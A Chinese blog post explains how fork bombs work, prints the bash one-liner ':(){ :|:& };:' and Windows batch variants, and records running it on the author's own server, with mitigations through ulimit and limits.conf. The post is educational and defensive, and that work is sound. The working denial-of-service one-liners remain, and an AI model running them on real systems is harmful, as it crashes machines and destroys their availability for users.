聊聊Fork炸弹

Fork炸弹(fork bomb)在计算机领域中是一种利用系统调用fork(或其他等效的方式)进行的拒绝服务攻击。与病毒与蠕虫不同的是,fork炸弹没有传染性,
而且fork炸弹会使有进程/程序限制的系统无法开起新的进程,对于不限制进程数的系统则使之停止响应。以fork炸弹为代表的自我复制程序有时亦被称为wabbit。

原理与影响

fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止;但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程,因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用CPU和内存,从而导致系统与现有进程运行速度放缓,响应时间也会随之大幅增加,以致于无法正常完成任务,从而使系统的正常运作受到严重影响。

示例

以下程序段就是由Jaromil所作的在类UNIX系统的shell环境下触发fork炸弹的shell脚本代码,总共只用了13个字符(包括空格):
:(){ :|:& };:
这个递归函数能够调用自身,不断地生成新的进程,最终造成拒绝服务攻击,函数调用前的&讲子进程放入后台,这段危险的代码会分支出大量的进程,因而被称为Fork炸弹。可以通过修改配置文件/etc/security/limits.conf来限制可生成的最大进程数来避开这枚炸弹。
其中函数名“:”只是减化的一例,实际上可以随意设置,一个较易理解(将函数名替换为“fb”)的版本如下:
fb(){ fb|fb& };fb
注解如下:

fb()      # 定义函数,函数名为"fb",即每当输入"fb"时就会自动调用{}内代码
{        # "fb"函数开始标识
    fb    # 用递归方式调用"fb"函数本身
    |    # 并用管道(pipe)将其输出引至...(因为有一个管道操作字符,因此会生成一个新的进程)
    fb    # 再一次递归调用的"fb"函数
# 综上,"fb|fb"表示的即是每次調用函数"fb"的時候就会产生两份拷贝
    &    # 即使最初的"fb"函数被关闭,后台还有两个fb函数在一直运行
}        # "fb"函数終止标识
;        # "fb"函数定义结束后将要进行的操作...
fb        # 调用"fb"函数,"引爆"fork炸弹

做大死

现在我们直接来跑这个函数,看看到底什么效果,当然要先做好准备工作,装好sysstat记录系统负载,yum install sysstat -y,并启动 /etc/init.d/sysstat start

系统信息:

[root@disz ~]# lscpu 
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                1
On-line CPU(s) list:   0
Thread(s) per core:    1
Core(s) per socket:    1
Socket(s):             1
NUMA node(s):          1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 62
Stepping:              4
CPU MHz:               2593.746
BogoMIPS:              5187.49
Hypervisor vendor:     KVM
Virtualization type:   full
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              20480K
NUMA node0 CPU(s):     0

[root@disz ~]# free -m
             total       used       free     shared    buffers     cached
Mem:          1877       1652        224          0        231        387
-/+ buffers/cache:       1033        844
Swap:            0          0          0

系统当前允许打开的最大进程数

[root@disz ~]# ulimit -a |grep processes
max user processes              (-u) 102400

做好重启系统的计划任务
echo '25 14 * * * /sbin/reboot -n &>/dev/null' >>/var/spool/cron/root
直接输入:(){ :|:& };: 并回车后的系统状态:

主要是系统上下文切换占用了CPU的资源,并开始产生少见的僵尸进程


xshell界面还可以正常回车,但命令已经没有回显

过了预定重启的时间,依然连接不是,应该是重启失败了

console也连接不上了

控制台点击重启后,console窗口有了反映,OOM机制被触发,切换到其他console没用

控制台无法正常重启,一直显示停止中,看来得强制重启,其实5分钟左右的样子,正常重启成功。

预防

由于Fork Bomb通过不断的开新进程来瘫痪系统,一个防止其严重影响系统的方法就是限定一个用户能够创建的进程数的上限,在Linux系统上,可以通过ulimit这个指令达到相应的效果,例如: ulimit -Hu 30 这个指令可以限制每一个用户最多只能创建30个进程,还可以通过修改配置文件/etc/security/limits.conf来限制可生成的最大进程数来避开这枚炸弹。而FreeBSD系统的话系统管理者可在/etc/login.conf底下的配置文件进行相关的设置。

windows下的炸弹

Windows下则可以批处理命令如下实现:
%0|%0
这个命令看起来太高大上了,windows也不值得这么去研究,所以我们看一条简单的命令
start 1
记事本里面输入start 1后,保存,把文件名改成1.bat,看看运行效果


原创文章,转载请注明: 转载自笛声

本文链接地址: 聊聊Fork炸弹

2 条评论

  • 笛声 2017年4月18日 回复

    新蛋
    yes `yes`

    • dige 2017年4月26日 回复 作者

      fork while fork

发表评论

电子邮件地址不会被公开。 必填项已用*标注